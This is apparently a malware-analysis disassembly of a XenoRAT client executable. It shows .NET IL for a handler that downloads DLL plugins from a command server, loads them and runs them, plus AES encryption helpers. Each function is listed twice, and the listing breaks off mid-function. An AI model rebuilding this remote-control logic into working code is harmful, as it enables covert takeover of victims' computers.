File xenorat_388d80a52076aa1f8329606606b21086eddf22d051624057b329c9250489f0c7.exe
Function:
Loading..
000024b8
000024b8<DllNodeHandler>d__3::MoveNext:
000024b8ldarg.0
000024b9ldfld <>1__state
000024bestloc.0
000024bfldarg.0
000024c0ldfld <>4__this
000024c5stloc.1
000024c6ldloc.0
000024c7switch (IL_006e, IL_006e, IL_006e, IL_006e, IL_006e, IL_03a3, IL_041c)
000024e8ldarg.0
000024e9ldc.i4.1
000024eanewarr System.Byte
000024efdup
000024f0ldc.i4.0
000024f1ldc.i4.1
000024f2stelem.i1
000024f3stfld <getdll>5__2
000024f8ldarg.0
000024f9ldc.i4.1
000024fanewarr System.Byte
000024ffstfld <hasdll>5__3
00002504ldarg.0
00002505ldc.i4.1
00002506newarr System.Byte
0000250bdup
0000250cldc.i4.0
0000250dldc.i4.2
0000250estelem.i1
0000250fstfld <fail>5__4
00002514ldc.i4.1
00002515newarr System.Byte
0000251adup
0000251bldc.i4.0
0000251cldc.i4.3
0000251dstelem.i1
0000251epop
0000251fldarg.0
00002520ldc.i4.0
00002521stfld <>7__wrap5
00002526nop
00002527ldloc.0
00002528switch (IL_00c8, IL_0164, IL_01c8, IL_0256, IL_02fd)
00002541ldarg.0
00002542ldfld subServer
00002547callvirt ReceiveAsync
0000254ccallvirt GetAwaiter
00002551stloc.s 4
00002553ldloca.s 4
00002555call get_IsCompleted
0000255abrtrue.s IL_00e5
0000255cldarg.0
0000255dldc.i4.0
0000255edup
0000255fstloc.0
00002560stfld <>1__state
00002565ldarg.0
00002566ldloc.s 4
00002568stfld <>u__1
0000256dldarg.0
0000256eldflda <>t__builder
00002573ldloca.s 4
00002575ldarg.0
00002576call 0x2B000003
0000257bleave IL_04b7
00002580ldarg.0
00002581ldfld <>u__1
00002586stloc.s 4
00002588ldarg.0
00002589ldflda <>u__1
0000258einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00002594ldarg.0
00002595ldc.i4.m1
00002596dup
00002597stloc.0
00002598stfld <>1__state
0000259dldloca.s 4
0000259fcall GetResult
000025a4stloc.2
000025a5ldarg.0
000025a6call get_UTF8
000025abldloc.2
000025accallvirt GetString
000025b1stfld <dllname>5__7
000025b6ldarg.0
000025b7ldfld <dllname>5__7
000025bccall WriteLine
000025c1ldloc.1
000025c2ldfld Assemblies
000025c7ldarg.0
000025c8ldfld <dllname>5__7
000025cdcallvirt ContainsKey
000025d2brtrue IL_0211
000025d7ldarg.0
000025d8ldfld subServer
000025ddldarg.0
000025deldfld <getdll>5__2
000025e3callvirt SendAsync
000025e8callvirt GetAwaiter
000025edstloc.s 6
000025efldloca.s 6
000025f1call get_IsCompleted
000025f6brtrue.s IL_0181
000025f8ldarg.0
000025f9ldc.i4.1
000025fadup
000025fbstloc.0
000025fcstfld <>1__state
00002601ldarg.0
00002602ldloc.s 6
00002604stfld <>u__2
00002609ldarg.0
0000260aldflda <>t__builder
0000260fldloca.s 6
00002611ldarg.0
00002612call 0x2B000004
00002617leave IL_04b7
0000261cldarg.0
0000261dldfld <>u__2
00002622stloc.s 6
00002624ldarg.0
00002625ldflda <>u__2
0000262ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00002630ldarg.0
00002631ldc.i4.m1
00002632dup
00002633stloc.0
00002634stfld <>1__state
00002639ldloca.s 6
0000263bcall GetResult
00002640pop
00002641ldarg.0
00002642ldfld subServer
00002647callvirt ReceiveAsync
0000264ccallvirt GetAwaiter
00002651stloc.s 4
00002653ldloca.s 4
00002655call get_IsCompleted
0000265abrtrue.s IL_01e5
0000265cldarg.0
0000265dldc.i4.2
0000265edup
0000265fstloc.0
00002660stfld <>1__state
00002665ldarg.0
00002666ldloc.s 4
00002668stfld <>u__1
0000266dldarg.0
0000266eldflda <>t__builder
00002673ldloca.s 4
00002675ldarg.0
00002676call 0x2B000003
0000267bleave IL_04b7
00002680ldarg.0
00002681ldfld <>u__1
00002686stloc.s 4
00002688ldarg.0
00002689ldflda <>u__1
0000268einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00002694ldarg.0
00002695ldc.i4.m1
00002696dup
00002697stloc.0
00002698stfld <>1__state
0000269dldloca.s 4
0000269fcall GetResult
000026a4stloc.s 5
000026a6ldloc.s 5
000026a8ldlen
000026a9conv.i4
000026aacall WriteLine
000026afldloc.1
000026b0ldfld Assemblies
000026b5ldarg.0
000026b6ldfld <dllname>5__7
000026bbldloc.s 5
000026bdcall Load
000026c2callvirt set_Item
000026c7br.s IL_027b
000026c9ldarg.0
000026caldfld subServer
000026cfldarg.0
000026d0ldfld <hasdll>5__3
000026d5callvirt SendAsync
000026dacallvirt GetAwaiter
000026dfstloc.s 6
000026e1ldloca.s 6
000026e3call get_IsCompleted
000026e8brtrue.s IL_0273
000026ealdarg.0
000026ebldc.i4.3
000026ecdup
000026edstloc.0
000026eestfld <>1__state
000026f3ldarg.0
000026f4ldloc.s 6
000026f6stfld <>u__2
000026fbldarg.0
000026fcldflda <>t__builder
00002701ldloca.s 6
00002703ldarg.0
00002704call 0x2B000004
00002709leave IL_04b7
0000270eldarg.0
0000270fldfld <>u__2
00002714stloc.s 6
00002716ldarg.0
00002717ldflda <>u__2
0000271cinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00002722ldarg.0
00002723ldc.i4.m1
00002724dup
00002725stloc.0
00002726stfld <>1__state
0000272bldloca.s 6
0000272dcall GetResult
00002732pop
00002733ldloc.1
00002734ldfld Assemblies
00002739ldarg.0
0000273aldfld <dllname>5__7
0000273fcallvirt get_Item
00002744ldloc.1
00002745ldfld classpath
0000274acallvirt GetType
0000274fcall CreateInstance
00002754stloc.3
00002755ldloc.3
00002756callvirt GetType
0000275bldstr "Run"
00002760ldc.i4.s 20
00002762callvirt GetMethod
00002767ldloc.3
00002768ldc.i4.1
00002769newarr System.Object
0000276edup
0000276fldc.i4.0
00002770ldarg.0
00002771ldfld subServer
00002776stelem.ref
00002777callvirt Invoke
0000277ccastclass System.Threading.Tasks.Task
00002781callvirt GetAwaiter
00002786stloc.s 7
00002788ldloca.s 7
0000278acall get_IsCompleted
0000278fbrtrue.s IL_031a
00002791ldarg.0
00002792ldc.i4.4
00002793dup
00002794stloc.0
00002795stfld <>1__state
0000279aldarg.0
0000279bldloc.s 7
0000279dstfld <>u__3
000027a2ldarg.0
000027a3ldflda <>t__builder
000027a8ldloca.s 7
000027aaldarg.0
000027abcall 0x2B000005
000027b0leave IL_04b7
000027b5ldarg.0
000027b6ldfld <>u__3
000027bbstloc.s 7
000027bdldarg.0
000027beldflda <>u__3
000027c3initobj System.Runtime.CompilerServices.TaskAwaiter
000027c9ldarg.0
000027caldc.i4.m1
000027cbdup
000027ccstloc.0
000027cdstfld <>1__state
000027d2ldloca.s 7
000027d4call GetResult
000027d9ldarg.0
000027daldnull
000027dbstfld <dllname>5__7
000027e0leave.s IL_033d
000027e2stloc.s 8
000027e4ldarg.0
000027e5ldloc.s 8
000027e7stfld <>7__wrap4
000027ecldarg.0
000027edldc.i4.1
000027eestfld <>7__wrap5
000027f3leave.s IL_033d
000027f5ldarg.0
000027f6ldfld <>7__wrap5
000027fbstloc.s 9
000027fdldloc.s 9
000027ffldc.i4.1
00002800bne.un IL_0458
00002805ldarg.0
00002806ldarg.0
00002807ldfld <>7__wrap4
0000280ccastclass System.Exception
00002811stfld <e>5__8
00002816ldarg.0
00002817ldfld subServer
0000281cldarg.0
0000281dldfld <fail>5__4
00002822callvirt SendAsync
00002827callvirt GetAwaiter
0000282cstloc.s 6
0000282eldloca.s 6
00002830call get_IsCompleted
00002835brtrue.s IL_03c0
00002837ldarg.0
00002838ldc.i4.5
00002839dup
0000283astloc.0
0000283bstfld <>1__state
00002840ldarg.0
00002841ldloc.s 6
00002843stfld <>u__2
00002848ldarg.0
00002849ldflda <>t__builder
0000284eldloca.s 6
00002850ldarg.0
00002851call 0x2B000004
00002856leave IL_04b7
0000285bldarg.0
0000285cldfld <>u__2
00002861stloc.s 6
00002863ldarg.0
00002864ldflda <>u__2
00002869initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000286fldarg.0
00002870ldc.i4.m1
00002871dup
00002872stloc.0
00002873stfld <>1__state
00002878ldloca.s 6
0000287acall GetResult
0000287fpop
00002880ldarg.0
00002881ldfld subServer
00002886call get_UTF8
0000288bldarg.0
0000288cldfld <e>5__8
00002891callvirt get_Message
00002896callvirt GetBytes
0000289bcallvirt SendAsync
000028a0callvirt GetAwaiter
000028a5stloc.s 6
000028a7ldloca.s 6
000028a9call get_IsCompleted
000028aebrtrue.s IL_0439
000028b0ldarg.0
000028b1ldc.i4.6
000028b2dup
000028b3stloc.0
000028b4stfld <>1__state
000028b9ldarg.0
000028baldloc.s 6
000028bcstfld <>u__2
000028c1ldarg.0
000028c2ldflda <>t__builder
000028c7ldloca.s 6
000028c9ldarg.0
000028cacall 0x2B000004
000028cfleave IL_04b7
000028d4ldarg.0
000028d5ldfld <>u__2
000028dastloc.s 6
000028dcldarg.0
000028ddldflda <>u__2
000028e2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000028e8ldarg.0
000028e9ldc.i4.m1
000028eadup
000028ebstloc.0
000028ecstfld <>1__state
000028f1ldloca.s 6
000028f3call GetResult
000028f8pop
000028f9ldarg.0
000028faldfld <e>5__8
000028ffcallvirt get_StackTrace
00002904call WriteLine
00002909ldarg.0
0000290aldnull
0000290bstfld <e>5__8
00002910ldarg.0
00002911ldnull
00002912stfld <>7__wrap4
00002917leave.s IL_048f
00002919stloc.s 10
0000291bldarg.0
0000291cldc.i4.s -2
0000291estfld <>1__state
00002923ldarg.0
00002924ldnull
00002925stfld <getdll>5__2
0000292aldarg.0
0000292bldnull
0000292cstfld <hasdll>5__3
00002931ldarg.0
00002932ldnull
00002933stfld <fail>5__4
00002938ldarg.0
00002939ldflda <>t__builder
0000293eldloc.s 10
00002940call SetException
00002945leave.s IL_04b7
00002947ldarg.0
00002948ldc.i4.s -2
0000294astfld <>1__state
0000294fldarg.0
00002950ldnull
00002951stfld <getdll>5__2
00002956ldarg.0
00002957ldnull
00002958stfld <hasdll>5__3
0000295dldarg.0
0000295eldnull
0000295fstfld <fail>5__4
00002964ldarg.0
00002965ldflda <>t__builder
0000296acall SetResult
0000296fret
000024b8
000024b8<DllNodeHandler>d__3::MoveNext:
000024b8ldarg.0
000024b9ldfld <>1__state
000024bestloc.0
000024bfldarg.0
000024c0ldfld <>4__this
000024c5stloc.1
000024c6ldloc.0
000024c7switch (IL_006e, IL_006e, IL_006e, IL_006e, IL_006e, IL_03a3, IL_041c)
000024e8ldarg.0
000024e9ldc.i4.1
000024eanewarr System.Byte
000024efdup
000024f0ldc.i4.0
000024f1ldc.i4.1
000024f2stelem.i1
000024f3stfld <getdll>5__2
000024f8ldarg.0
000024f9ldc.i4.1
000024fanewarr System.Byte
000024ffstfld <hasdll>5__3
00002504ldarg.0
00002505ldc.i4.1
00002506newarr System.Byte
0000250bdup
0000250cldc.i4.0
0000250dldc.i4.2
0000250estelem.i1
0000250fstfld <fail>5__4
00002514ldc.i4.1
00002515newarr System.Byte
0000251adup
0000251bldc.i4.0
0000251cldc.i4.3
0000251dstelem.i1
0000251epop
0000251fldarg.0
00002520ldc.i4.0
00002521stfld <>7__wrap5
00002526nop
00002527ldloc.0
00002528switch (IL_00c8, IL_0164, IL_01c8, IL_0256, IL_02fd)
00002541ldarg.0
00002542ldfld subServer
00002547callvirt ReceiveAsync
0000254ccallvirt GetAwaiter
00002551stloc.s 4
00002553ldloca.s 4
00002555call get_IsCompleted
0000255abrtrue.s IL_00e5
0000255cldarg.0
0000255dldc.i4.0
0000255edup
0000255fstloc.0
00002560stfld <>1__state
00002565ldarg.0
00002566ldloc.s 4
00002568stfld <>u__1
0000256dldarg.0
0000256eldflda <>t__builder
00002573ldloca.s 4
00002575ldarg.0
00002576call 0x2B000003
0000257bleave IL_04b7
00002580ldarg.0
00002581ldfld <>u__1
00002586stloc.s 4
00002588ldarg.0
00002589ldflda <>u__1
0000258einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00002594ldarg.0
00002595ldc.i4.m1
00002596dup
00002597stloc.0
00002598stfld <>1__state
0000259dldloca.s 4
0000259fcall GetResult
000025a4stloc.2
000025a5ldarg.0
000025a6call get_UTF8
000025abldloc.2
000025accallvirt GetString
000025b1stfld <dllname>5__7
000025b6ldarg.0
000025b7ldfld <dllname>5__7
000025bccall WriteLine
000025c1ldloc.1
000025c2ldfld Assemblies
000025c7ldarg.0
000025c8ldfld <dllname>5__7
000025cdcallvirt ContainsKey
000025d2brtrue IL_0211
000025d7ldarg.0
000025d8ldfld subServer
000025ddldarg.0
000025deldfld <getdll>5__2
000025e3callvirt SendAsync
000025e8callvirt GetAwaiter
000025edstloc.s 6
000025efldloca.s 6
000025f1call get_IsCompleted
000025f6brtrue.s IL_0181
000025f8ldarg.0
000025f9ldc.i4.1
000025fadup
000025fbstloc.0
000025fcstfld <>1__state
00002601ldarg.0
00002602ldloc.s 6
00002604stfld <>u__2
00002609ldarg.0
0000260aldflda <>t__builder
0000260fldloca.s 6
00002611ldarg.0
00002612call 0x2B000004
00002617leave IL_04b7
0000261cldarg.0
0000261dldfld <>u__2
00002622stloc.s 6
00002624ldarg.0
00002625ldflda <>u__2
0000262ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00002630ldarg.0
00002631ldc.i4.m1
00002632dup
00002633stloc.0
00002634stfld <>1__state
00002639ldloca.s 6
0000263bcall GetResult
00002640pop
00002641ldarg.0
00002642ldfld subServer
00002647callvirt ReceiveAsync
0000264ccallvirt GetAwaiter
00002651stloc.s 4
00002653ldloca.s 4
00002655call get_IsCompleted
0000265abrtrue.s IL_01e5
0000265cldarg.0
0000265dldc.i4.2
0000265edup
0000265fstloc.0
00002660stfld <>1__state
00002665ldarg.0
00002666ldloc.s 4
00002668stfld <>u__1
0000266dldarg.0
0000266eldflda <>t__builder
00002673ldloca.s 4
00002675ldarg.0
00002676call 0x2B000003
0000267bleave IL_04b7
00002680ldarg.0
00002681ldfld <>u__1
00002686stloc.s 4
00002688ldarg.0
00002689ldflda <>u__1
0000268einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00002694ldarg.0
00002695ldc.i4.m1
00002696dup
00002697stloc.0
00002698stfld <>1__state
0000269dldloca.s 4
0000269fcall GetResult
000026a4stloc.s 5
000026a6ldloc.s 5
000026a8ldlen
000026a9conv.i4
000026aacall WriteLine
000026afldloc.1
000026b0ldfld Assemblies
000026b5ldarg.0
000026b6ldfld <dllname>5__7
000026bbldloc.s 5
000026bdcall Load
000026c2callvirt set_Item
000026c7br.s IL_027b
000026c9ldarg.0
000026caldfld subServer
000026cfldarg.0
000026d0ldfld <hasdll>5__3
000026d5callvirt SendAsync
000026dacallvirt GetAwaiter
000026dfstloc.s 6
000026e1ldloca.s 6
000026e3call get_IsCompleted
000026e8brtrue.s IL_0273
000026ealdarg.0
000026ebldc.i4.3
000026ecdup
000026edstloc.0
000026eestfld <>1__state
000026f3ldarg.0
000026f4ldloc.s 6
000026f6stfld <>u__2
000026fbldarg.0
000026fcldflda <>t__builder
00002701ldloca.s 6
00002703ldarg.0
00002704call 0x2B000004
00002709leave IL_04b7
0000270eldarg.0
0000270fldfld <>u__2
00002714stloc.s 6
00002716ldarg.0
00002717ldflda <>u__2
0000271cinitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00002722ldarg.0
00002723ldc.i4.m1
00002724dup
00002725stloc.0
00002726stfld <>1__state
0000272bldloca.s 6
0000272dcall GetResult
00002732pop
00002733ldloc.1
00002734ldfld Assemblies
00002739ldarg.0
0000273aldfld <dllname>5__7
0000273fcallvirt get_Item
00002744ldloc.1
00002745ldfld classpath
0000274acallvirt GetType
0000274fcall CreateInstance
00002754stloc.3
00002755ldloc.3
00002756callvirt GetType
0000275bldstr "Run"
00002760ldc.i4.s 20
00002762callvirt GetMethod
00002767ldloc.3
00002768ldc.i4.1
00002769newarr System.Object
0000276edup
0000276fldc.i4.0
00002770ldarg.0
00002771ldfld subServer
00002776stelem.ref
00002777callvirt Invoke
0000277ccastclass System.Threading.Tasks.Task
00002781callvirt GetAwaiter
00002786stloc.s 7
00002788ldloca.s 7
0000278acall get_IsCompleted
0000278fbrtrue.s IL_031a
00002791ldarg.0
00002792ldc.i4.4
00002793dup
00002794stloc.0
00002795stfld <>1__state
0000279aldarg.0
0000279bldloc.s 7
0000279dstfld <>u__3
000027a2ldarg.0
000027a3ldflda <>t__builder
000027a8ldloca.s 7
000027aaldarg.0
000027abcall 0x2B000005
000027b0leave IL_04b7
000027b5ldarg.0
000027b6ldfld <>u__3
000027bbstloc.s 7
000027bdldarg.0
000027beldflda <>u__3
000027c3initobj System.Runtime.CompilerServices.TaskAwaiter
000027c9ldarg.0
000027caldc.i4.m1
000027cbdup
000027ccstloc.0
000027cdstfld <>1__state
000027d2ldloca.s 7
000027d4call GetResult
000027d9ldarg.0
000027daldnull
000027dbstfld <dllname>5__7
000027e0leave.s IL_033d
000027e2stloc.s 8
000027e4ldarg.0
000027e5ldloc.s 8
000027e7stfld <>7__wrap4
000027ecldarg.0
000027edldc.i4.1
000027eestfld <>7__wrap5
000027f3leave.s IL_033d
000027f5ldarg.0
000027f6ldfld <>7__wrap5
000027fbstloc.s 9
000027fdldloc.s 9
000027ffldc.i4.1
00002800bne.un IL_0458
00002805ldarg.0
00002806ldarg.0
00002807ldfld <>7__wrap4
0000280ccastclass System.Exception
00002811stfld <e>5__8
00002816ldarg.0
00002817ldfld subServer
0000281cldarg.0
0000281dldfld <fail>5__4
00002822callvirt SendAsync
00002827callvirt GetAwaiter
0000282cstloc.s 6
0000282eldloca.s 6
00002830call get_IsCompleted
00002835brtrue.s IL_03c0
00002837ldarg.0
00002838ldc.i4.5
00002839dup
0000283astloc.0
0000283bstfld <>1__state
00002840ldarg.0
00002841ldloc.s 6
00002843stfld <>u__2
00002848ldarg.0
00002849ldflda <>t__builder
0000284eldloca.s 6
00002850ldarg.0
00002851call 0x2B000004
00002856leave IL_04b7
0000285bldarg.0
0000285cldfld <>u__2
00002861stloc.s 6
00002863ldarg.0
00002864ldflda <>u__2
00002869initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000286fldarg.0
00002870ldc.i4.m1
00002871dup
00002872stloc.0
00002873stfld <>1__state
00002878ldloca.s 6
0000287acall GetResult
0000287fpop
00002880ldarg.0
00002881ldfld subServer
00002886call get_UTF8
0000288bldarg.0
0000288cldfld <e>5__8
00002891callvirt get_Message
00002896callvirt GetBytes
0000289bcallvirt SendAsync
000028a0callvirt GetAwaiter
000028a5stloc.s 6
000028a7ldloca.s 6
000028a9call get_IsCompleted
000028aebrtrue.s IL_0439
000028b0ldarg.0
000028b1ldc.i4.6
000028b2dup
000028b3stloc.0
000028b4stfld <>1__state
000028b9ldarg.0
000028baldloc.s 6
000028bcstfld <>u__2
000028c1ldarg.0
000028c2ldflda <>t__builder
000028c7ldloca.s 6
000028c9ldarg.0
000028cacall 0x2B000004
000028cfleave IL_04b7
000028d4ldarg.0
000028d5ldfld <>u__2
000028dastloc.s 6
000028dcldarg.0
000028ddldflda <>u__2
000028e2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000028e8ldarg.0
000028e9ldc.i4.m1
000028eadup
000028ebstloc.0
000028ecstfld <>1__state
000028f1ldloca.s 6
000028f3call GetResult
000028f8pop
000028f9ldarg.0
000028faldfld <e>5__8
000028ffcallvirt get_StackTrace
00002904call WriteLine
00002909ldarg.0
0000290aldnull
0000290bstfld <e>5__8
00002910ldarg.0
00002911ldnull
00002912stfld <>7__wrap4
00002917leave.s IL_048f
00002919stloc.s 10
0000291bldarg.0
0000291cldc.i4.s -2
0000291estfld <>1__state
00002923ldarg.0
00002924ldnull
00002925stfld <getdll>5__2
0000292aldarg.0
0000292bldnull
0000292cstfld <hasdll>5__3
00002931ldarg.0
00002932ldnull
00002933stfld <fail>5__4
00002938ldarg.0
00002939ldflda <>t__builder
0000293eldloc.s 10
00002940call SetException
00002945leave.s IL_04b7
00002947ldarg.0
00002948ldc.i4.s -2
0000294astfld <>1__state
0000294fldarg.0
00002950ldnull
00002951stfld <getdll>5__2
00002956ldarg.0
00002957ldnull
00002958stfld <hasdll>5__3
0000295dldarg.0
0000295eldnull
0000295fstfld <fail>5__4
00002964ldarg.0
00002965ldflda <>t__builder
0000296acall SetResult
0000296fret
000024b8
000029b0
000029b0xeno_rat_client.Encryption::Encrypt:
000029b0ldc.i4.s 16
000029b2newarr System.Byte
000029b7stloc.1
000029b8call Create
000029bdstloc.2
000029beldloc.2
000029bfldarg.1
000029c0callvirt set_Key
000029c5ldloc.2
000029c6ldloc.1
000029c7callvirt set_IV
000029ccldloc.2
000029cdldloc.2
000029cecallvirt get_Key
000029d3ldloc.2
000029d4callvirt get_IV
000029d9callvirt CreateEncryptor
000029destloc.3
000029dfnewobj .ctor
000029e4stloc.s 4
000029e6ldloc.s 4
000029e8ldloc.3
000029e9ldc.i4.1
000029eanewobj .ctor
000029efstloc.s 5
000029f1ldloc.s 5
000029f3ldarg.0
000029f4ldc.i4.0
000029f5ldarg.0
000029f6ldlen
000029f7conv.i4
000029f8callvirt Write
000029fdldloc.s 5
000029ffcallvirt FlushFinalBlock
00002a04ldloc.s 4
00002a06callvirt ToArray
00002a0bstloc.0
00002a0cleave.s IL_0076
00002a0eldloc.s 5
00002a10brfalse.s IL_0069
00002a12ldloc.s 5
00002a14callvirt Dispose
00002a19endfinally
00002a1aldloc.s 4
00002a1cbrfalse.s IL_0075
00002a1eldloc.s 4
00002a20callvirt Dispose
00002a25endfinally
00002a26ldloc.3
00002a27callvirt Dispose
00002a2cleave.s IL_0088
00002a2eldloc.2
00002a2fbrfalse.s IL_0087
00002a31ldloc.2
00002a32callvirt Dispose
00002a37endfinally
00002a38ldloc.0
00002a39ret
000029b0
000029b0xeno_rat_client.Encryption::Encrypt:
000029b0ldc.i4.s 16
000029b2newarr System.Byte
000029b7stloc.1
000029b8call Create
000029bdstloc.2
000029beldloc.2
000029bfldarg.1
000029c0callvirt set_Key
000029c5ldloc.2
000029c6ldloc.1
000029c7callvirt set_IV
000029ccldloc.2
000029cdldloc.2
000029cecallvirt get_Key
000029d3ldloc.2
000029d4callvirt get_IV
000029d9callvirt CreateEncryptor
000029destloc.3
000029dfnewobj .ctor
000029e4stloc.s 4
000029e6ldloc.s 4
000029e8ldloc.3
000029e9ldc.i4.1
000029eanewobj .ctor
000029efstloc.s 5
000029f1ldloc.s 5
000029f3ldarg.0
000029f4ldc.i4.0
000029f5ldarg.0
000029f6ldlen
000029f7conv.i4
000029f8callvirt Write
000029fdldloc.s 5
000029ffcallvirt FlushFinalBlock
00002a04ldloc.s 4
00002a06callvirt ToArray
00002a0bstloc.0
00002a0cleave.s IL_0076
00002a0eldloc.s 5
00002a10brfalse.s IL_0069
00002a12ldloc.s 5
00002a14callvirt Dispose
00002a19endfinally
00002a1aldloc.s 4
00002a1cbrfalse.s IL_0075
00002a1eldloc.s 4
00002a20callvirt Dispose
00002a25endfinally
00002a26ldloc.3
00002a27callvirt Dispose
00002a2cleave.s IL_0088
00002a2eldloc.2
00002a2fbrfalse.s IL_0087
00002a31ldloc.2
00002a32callvirt Dispose
00002a37endfinally
00002a38ldloc.0
00002a39ret
000029b0
00002a70
00002a70xeno_rat_client.Encryption::Decrypt:
00002a70ldc.i4.s 16
00002a72newarr System.Byte
00002a77stloc.0
00002a78call Create
00002a7dstloc.2
00002a7eldloc.2
00002a7fldarg.1
00002a80callvirt set_Key
00002a85ldloc.2
00002a86ldloc.0
00002a87callvirt set_IV
00002a8cldloc.2
00002a8dldloc.2
00002a8ecallvirt get_Key
00002a93ldloc.2
00002a94callvirt get_IV
00002a99callvirt CreateDecryptor
00002a9estloc.3
00002a9fnewobj .ctor
00002aa4stloc.s 4
00002aa6ldloc.s 4
00002aa8ldloc.3
00002aa9ldc.i4.1
00002aaanewobj .ctor
00002aafstloc.s 5
00002ab1ldloc.s 5
00002ab3ldarg.0
00002ab4ldc.i4.0
00002ab5ldarg.0
00002ab6ldlen
00002ab7conv.i4
00002ab8callvirt Write
00002abdldloc.s 5
00002abfcallvirt FlushFinalBlock
00002ac4ldloc.s 4
00002ac6callvirt ToArray
00002acbstloc.1
00002accleave.s IL_0076
00002aceldloc.s 5
00002ad0brfalse.s IL_0069
00002ad2ldloc.s 5
00002ad4callvirt Dispose
00002ad9endfinally
00002adaldloc.s 4
00002adcbrfalse.s IL_0075
00002adeldloc.s 4
00002ae0callvirt Dispose
00002ae5endfinally
00002ae6ldloc.3
00002ae7callvirt Dispose
00002aecleave.s IL_0088
00002aeeldloc.2
00002aefbrfalse.s IL_0087
00002af1ldloc.2
00002af2callvirt Dispose
00002af7endfinally
00002af8ldloc.1
00002af9ret
00002a70
00002a70xeno_rat_client.Encryption::Decrypt:
00002a70ldc.i4.s 16
00002a72newarr System.Byte
00002a77stloc.0
00002a78call Create
00002a7dstloc.2
00002a7eldloc.2
00002a7fldarg.1
00002a80callvirt set_Key
00002a85ldloc.2
00002a86ldloc.0
00002a87callvirt set_IV
00002a8cldloc.2
00002a8dldloc.2
00002a8ecallvirt get_Key
00002a93ldloc.2
00002a94callvirt get_IV
00002a99callvirt CreateDecryptor
00002a9estloc.3
00002a9fnewobj .ctor
00002aa4stloc.s 4
00002aa6ldloc.s 4
00002aa8ldloc.3
00002aa9ldc.i4.1
00002aaanewobj .ctor
00002aafstloc.s 5
00002ab1ldloc.s 5
00002ab3ldarg.0
00002ab4ldc.i4.0
00002ab5ldarg.0
00002ab6ldlen
00002ab7conv.i4
00002ab8callvirt Write
00002abdldloc.s 5
00002abfcallvirt FlushFinalBlock
00002ac4ldloc.s 4
00002ac6callvirt ToArray
00002acbstloc.1
00002accleave.s IL_0076
00002aceldloc.s 5
00002ad0brfalse.s IL_0069
00002ad2ldloc.s 5
00002ad4callvirt Dispose
00002ad9endfinally
00002adaldloc.s 4
00002adcbrfalse.s IL_0075
00002adeldloc.s 4
00002ae0callvirt Dispose
00002ae5endfinally
00002ae6ldloc.3
00002ae7callvirt Dispose
00002aecleave.s IL_0088
00002aeeldloc.2
00002aefbrfalse.s IL_0087
00002af1ldloc.2
00002af2callvirt Dispose
00002af7endfinally
00002af8ldloc.1
00002af9ret
00002a70
00002b30
00002b30xeno_rat_client.Handler::CreateSubSock:
00002b30ldloca.s 0
00002b32call Create
00002b37stfld <>t__builder
00002b3cldloca.s 0
00002b3eldarg.0
00002b3fstfld <>4__this
00002b44ldloca.s 0
00002b46ldarg.1
00002b47stfld data
00002b4cldloca.s 0
00002b4eldc.i4.m1
00002b4fstfld <>1__state
00002b54ldloca.s 0
00002b56ldflda <>t__builder
00002b5bldloca.s 0
00002b5dcall 0x2B000006
00002b62ldloca.s 0
00002b64ldflda <>t__builder
00002b69call get_Task
00002b6eret
00002b30
00002b30xeno_rat_client.Handler::CreateSubSock:
00002b30ldloca.s 0
00002b32call Create
00002b37stfld <>t__builder
00002b3cldloca.s 0
00002b3eldarg.0
00002b3fstfld <>4__this
00002b44ldloca.s 0
00002b46ldarg.1
00002b47stfld data
00002b4cldloca.s 0
00002b4eldc.i4.m1
00002b4fstfld <>1__state
00002b54ldloca.s 0
00002b56ldflda <>t__builder
00002b5bldloca.s 0
00002b5dcall 0x2B000006
00002b62ldloca.s 0
00002b64ldflda <>t__builder
00002b69call get_Task
00002b6eret
00002b30
00002b7c
00002b7cxeno_rat_client.Handler::GetAndSendInfo:
00002b7cldloca.s 0
00002b7ecall Create
00002b83stfld <>t__builder
00002b88ldloca.s 0
00002b8aldarg.1
00002b8bstfld Type0
00002b90ldloca.s 0
00002b92ldc.i4.m1
00002b93stfld <>1__state
00002b98ldloca.s 0
00002b9aldflda <>t__builder
00002b9fldloca.s 0
00002ba1call 0x2B000007
00002ba6ldloca.s 0
00002ba8ldflda <>t__builder
00002badcall get_Task
00002bb2ret
00002b7c
00002b7cxeno_rat_client.Handler::GetAndSendInfo:
00002b7cldloca.s 0
00002b7ecall Create
00002b83stfld <>t__builder
00002b88ldloca.s 0
00002b8aldarg.1
00002b8bstfld Type0
00002b90ldloca.s 0
00002b92ldc.i4.m1
00002b93stfld <>1__state
00002b98ldloca.s 0
00002b9aldflda <>t__builder
00002b9fldloca.s 0
00002ba1call 0x2B000007
00002ba6ldloca.s 0
00002ba8ldflda <>t__builder
00002badcall get_Task
00002bb2ret
00002b7c
00002bc0
00002bc0xeno_rat_client.Handler::Type0Receive:
00002bc0ldloca.s 0
00002bc2call Create
00002bc7stfld <>t__builder
00002bccldloca.s 0
00002bceldarg.0
00002bcfstfld <>4__this
00002bd4ldloca.s 0
00002bd6ldc.i4.m1
00002bd7stfld <>1__state
00002bdcldloca.s 0
00002bdeldflda <>t__builder
00002be3ldloca.s 0
00002be5call 0x2B000008
00002bealdloca.s 0
00002becldflda <>t__builder
00002bf1call get_Task
00002bf6ret
00002bc0
00002bc0xeno_rat_client.Handler::Type0Receive:
00002bc0ldloca.s 0
00002bc2call Create
00002bc7stfld <>t__builder
00002bccldloca.s 0
00002bceldarg.0
00002bcfstfld <>4__this
00002bd4ldloca.s 0
00002bd6ldc.i4.m1
00002bd7stfld <>1__state
00002bdcldloca.s 0
00002bdeldflda <>t__builder
00002be3ldloca.s 0
00002be5call 0x2B000008
00002bealdloca.s 0
00002becldflda <>t__builder
00002bf1call get_Task
00002bf6ret
00002bc0
00002c04
00002c04xeno_rat_client.Handler::Type1Receive:
00002c04ldloca.s 0
00002c06call Create
